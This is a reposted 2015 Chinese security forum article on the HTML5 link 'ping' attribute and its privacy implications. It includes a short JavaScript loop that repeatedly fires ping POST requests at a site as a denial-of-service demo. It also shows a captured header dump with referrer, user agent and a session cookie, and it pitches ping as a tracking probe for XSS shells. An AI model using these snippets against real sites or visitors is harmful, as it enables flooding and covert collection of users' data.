首页
社区
课程
招聘
转载 HTML5:ping属性之死亡ping与隐私追踪
发表于: 2015-9-26 11:43 1927

转载 HTML5:ping属性之死亡ping与隐私追踪

2015-9-26 11:43
1927
新闻链接:664K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3&6W2N6s2y4W2j5%4g2J5K9i4c8&6i4K6u0W2y4e0q4U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8Q4x3V1j5J5x3o6p5#2x3o6S2Q4x3V1j5@1z5o6M7^5x3o6k6Q4x3X3g2Z5N6r3@1`.
新闻时间:2015-08-07 16:38
新闻正文:
  在HTML5中a标签加入了一个新的属性ping。设计者加入它的理由是,Ping可以使浏览器对外发送一个异步请求,通常用来广告的追踪、点击率统计或完成一次HTTP重定向。

HTML5:ping属性之死亡ping与隐私追踪

但是听到监视、追踪这个词,你是不是也觉得有点不舒服,所以Ping这个属性真的是很不受欢迎。浏览器一度抵制、进而加入默认关闭必须从如config这样的选项中打开才可以使用,到现在我从caniuse.com上还没有追寻到哪个浏览器支持它,但在我测试中最新版Chrome44是默认支持Ping的。

一、Ping的用法

Ping的用法很简单,这里举一个例子。

<a href="http://be8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2A6M7$3W2Y4M7W2)9J5k6h3y4G2L8b7`.`." ping="http://305K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2A6M7$3W2Y4M7W2)9J5k6h3y4G2L8g2)9J5c8Y4c8J5j5h3y4C8">click me</a>
当你点击click me的时候,会异步发送一个POST请求到Ping后面指定的地址,Request Body的内容为PING。有人可能会说,那click me这段代码行不行?答案是否定的,href这个属性必须存在与中,不然Ping也是不会运行的。

二、死亡之PING

根据Ping发送POST请求这个特性,我们可以使用循环使之不停的向一个地址追加POST请求,造成DOS攻击。

<script>
var link = document.createElement('a');
link.href="";
link.ping = '8c5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2A6M7$3W2Y4M7W2)9J5k6h3y4G2L8g2)9J5c8W2)9J5y4#2)9K6b7R3`.`.
document.head.appendChild(link); link.click();
</script>
运行上面的代码,就会不停的向xisigr.com发送POST请求。

请运行在线DEMO:DOS.html {chrome}

三、隐私追踪

Ping可以进行广告追踪,它可以统计用户都点击了哪些链接以及次数,并使用POST请求把这些信息发送到广告商的服务器上。那么POST的这些信息都包含了什么呢,简单来说HTTP Header的内容都会有,我们来看一个截获的完整信息

HOST: xisigr.com
CONTENT-LENGTH: 4
ORIGIN: b91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2S2K9h3I4Q4x3X3f1I4y4U0y4Q4x3X3g2U0L8$3@1`.
PING-FROM: 9bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8W2)9J5b7g2)9J5b7g2)9J5b7g2)9J5b7g2)9J5k6h3y4G2L8g2)9J5c8X3A6K6y4W2)9J5c8Y4u0W2j5h3c8Q4x3V1k6J5k6h3q4V1K9s2c8E0L8q4)9J5k6h3A6K6M7q4)9K6c8X3#2A6k6q4)9K6c8o6b7#2z5q4)9K6b7i4S2@1j5V1u0&6k6@1u0y4k6@1k6a6i4K6u0n7k6s2k6n7j5%4k6c8b7f1q4K6e0g2)9J5y4X3k6G2L8Y4c8Q4x3@1b7I4y4g2)9J5y4X3y4G2L8r3!0J5i4K6y4p5x3o6j5@1z5e0M7%4
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
PING-TO: fbcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3
CONTENT-TYPE: text/ping
ACCEPT: */*
REFERER: 564K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8W2)9J5b7g2)9J5b7g2)9J5b7g2)9J5b7g2)9J5k6h3y4G2L8g2)9J5c8X3A6K6y4W2)9J5c8Y4u0W2j5h3c8Q4x3V1k6J5k6h3q4V1K9s2c8E0L8q4)9J5k6h3A6K6M7q4)9K6c8X3#2A6k6q4)9K6c8o6b7#2z5q4)9K6b7i4S2@1j5V1u0&6k6@1u0y4k6@1k6a6i4K6u0n7k6s2k6n7j5%4k6c8b7f1q4K6e0g2)9J5y4X3k6G2L8Y4c8Q4x3@1b7I4y4g2)9J5y4X3y4G2L8r3!0J5i4K6y4p5x3o6j5@1z5e0M7%4
ACCEPT-ENCODING: gzip, deflate
ACCEPT-LANGUAGE: zh-CN,zh;q=0.8
COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13
CACHE-CONTROL: max-age=0
CONNECTION: keep-alive
PING-FROM、USER-AGENT、REFERER这三个关键信息,直接泄漏了用户的隐私。而这也为我们最爱的XSSSHELL又提供了一个小插件。对于图片探针如果没了新鲜感,那么请试试Ping探针吧,简单的一句就搞定!

追踪这事是攻击者的最爱,我简单做了一个DEMO,打开aping.html这个页面,点击后,你会前往wathwg,并且我异步重定向了下w3.org,但同时你的HTTP Header/IP就被我获取到了。你可以通过这个链接查看截获到的信息,Ping.html。

请访问在线DEMO:aping.html Ping.html {chrome}

四、总结

把PING归结为探测用户隐私的范畴一点也不为过。这其实不怪设计者,Ping的最初设计理念,是为了使得广告统计更加方便简洁,哪怕是它的重定向功能,也是为了在异步请求的情况下使用户整体提高访问页面速度的快感。但是这仿佛也无法遮掩住PING的潜在探测用户隐私的特性。也许这就是PING的先天性缺陷。

PS:

HTML5中,a标签多了几个属性,如download/ping。2012年时,我在百度HI写了一篇《HTML5 A[download] 攻击模型》,就对当时download的攻击思路做了简单的分析,可惜百度HI关闭了,download那篇也石沉大海,但三年下来,再看那篇文章,当时提出的一些攻击点,浏览器也已经做了相应的防御,从中看到了攻防对抗的变化和浏览器厂商的激进与妥协。

这种感悟是挺好的,你可以对应着如笔记般的进行标注,这些变化是什么、为什么这么变等等,我觉得应该时不时的把前些年的文章拿出来,和现在的形式对比下,有些东西不得不从这种长时间轴的总结和更新中才能得出结论来,比如10年间消失的10种WEB攻击、浏览器厂商的激进与妥协、10年后WEB是什么样的……

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回